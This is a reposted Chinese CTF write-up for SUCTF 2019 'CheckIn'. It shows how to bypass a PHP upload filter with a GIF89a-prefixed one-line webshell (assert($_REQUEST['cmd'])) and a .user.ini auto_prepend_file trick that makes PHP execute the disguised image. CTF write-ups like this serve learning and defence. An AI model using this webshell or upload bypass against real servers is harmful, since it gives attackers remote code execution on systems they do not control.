[SUCTF 2019]CheckIn


 大佬的wp

 

 首先上傳包含一句話的php文件,提示illegal suffix!,試了一下.php3,.php5,.phtml等都不行

 把文件后綴名改成.jpg試一下,檢測到了內容 <?

  那就用其他姿勢

<script language='php'>assert($_REQUEST['cmd'])</script>

檢測到文件不是圖像,很明顯是用exif_imagetype()函數,函數功能是讀取一個圖像的第一個字節並檢查其簽名。 在一句話前面加個GIF89a進行繞過

 那么現在的一句話如下,可以制作成圖片馬,但是需要解析成php

GIF89a
<script language='php'>assert($_REQUEST['cmd'])</script

正常想到的是.htaccess,但是這個服務器是nginx,而.htaccess是針對apache的

 

那么這里利用是 .user.ini ,而且.user,ini利用的范圍比.htaccess更廣,具體參考這里

不管是nginx/apache/IIS,只要是以fastcgi運行的php都可以用這個方法

 php.ini是php默認的配置文件,其中包括了很多php的配置,這些配置中,又分為幾種:

PHP_INI_SYSTEMPHP_INI_PERDIRPHP_INI_ALLPHP_INI_USER

.user.ini實際上就是一個可以由用戶“自定義”的php.ini,我們能夠自定義的設置是模式為“PHP_INI_PERDIR 、 PHP_INI_USER”的設置

 同時在php配置項中有兩個比較有意思的項

auto_prepend_file和auto_append_file

相當於指定一個文件,自動包含在要執行的文件前,類似於在文件前調用了require()函數

auto_prepend_file是在文件前插入,而auto_append_file是在文件最后才插入

 

那么思路就有了

上傳圖片馬,然后利用.user.ini解析圖片馬生成webshell

生成圖片馬

 然后需要利用.user.ini解析圖片馬

GIF89a
auto_prepend_file=shell.jpg

上傳.user.ini和圖片馬

然后根據上傳的路徑,找到上傳的Webshell,獲取flag

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM